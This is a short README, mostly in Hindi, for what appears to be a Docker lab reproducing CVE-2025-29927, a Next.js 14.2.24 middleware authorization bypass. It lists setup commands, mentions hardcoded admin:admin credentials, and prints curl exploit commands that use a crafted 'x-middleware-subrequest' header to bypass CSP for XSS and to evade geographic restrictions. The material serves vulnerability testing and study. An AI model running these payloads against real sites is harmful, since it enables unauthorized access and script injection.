
Next.js 14.2.24 में CVE-2025-29927 मिडलवेयर प्राधिकरण बाईपास को पुन: उत्पन्न करता है और प्रमाणीकरण और मिडलवेयर प्रतिबंधों को बायपास करने के लिए curl के साथ शोषण प्रदर्शित करता है।
एक छोटा और सरल Next.js एप्लिकेशन जो संस्करण 14.2.24 पर चल रहा है, CVE-2025-29927 का परीक्षण करने के लिए उपयोग किया जाता है।
भेद्यता या हार्डकोडेड क्रेडेंशियल admin:admin का उपयोग करके एडमिन क्षेत्र (/admin) तक पहुँचें।
» git clone [email protected]:0xPThree/next.js_cve-2025-29927.git
» docker build -t nextjs .
» docker run -d -p 3000:3000 --name nextjs nextjs
स्पष्ट प्रमाणीकरण बाईपास के अलावा, यह भेद्यता निम्नलिखित भी कर सकती है:
# Middleware may be used to set CSP headers to prevent XSS. Bypass CSP to XSS:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Type: text/html" --data "<script>alert('1')</script>" \
http://exploit.se
# Middleware may be used to restrict content by geographic location. Bypass geographic restrictions:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "CF-IPCountry: SE" http://exploit.se/se-only-content
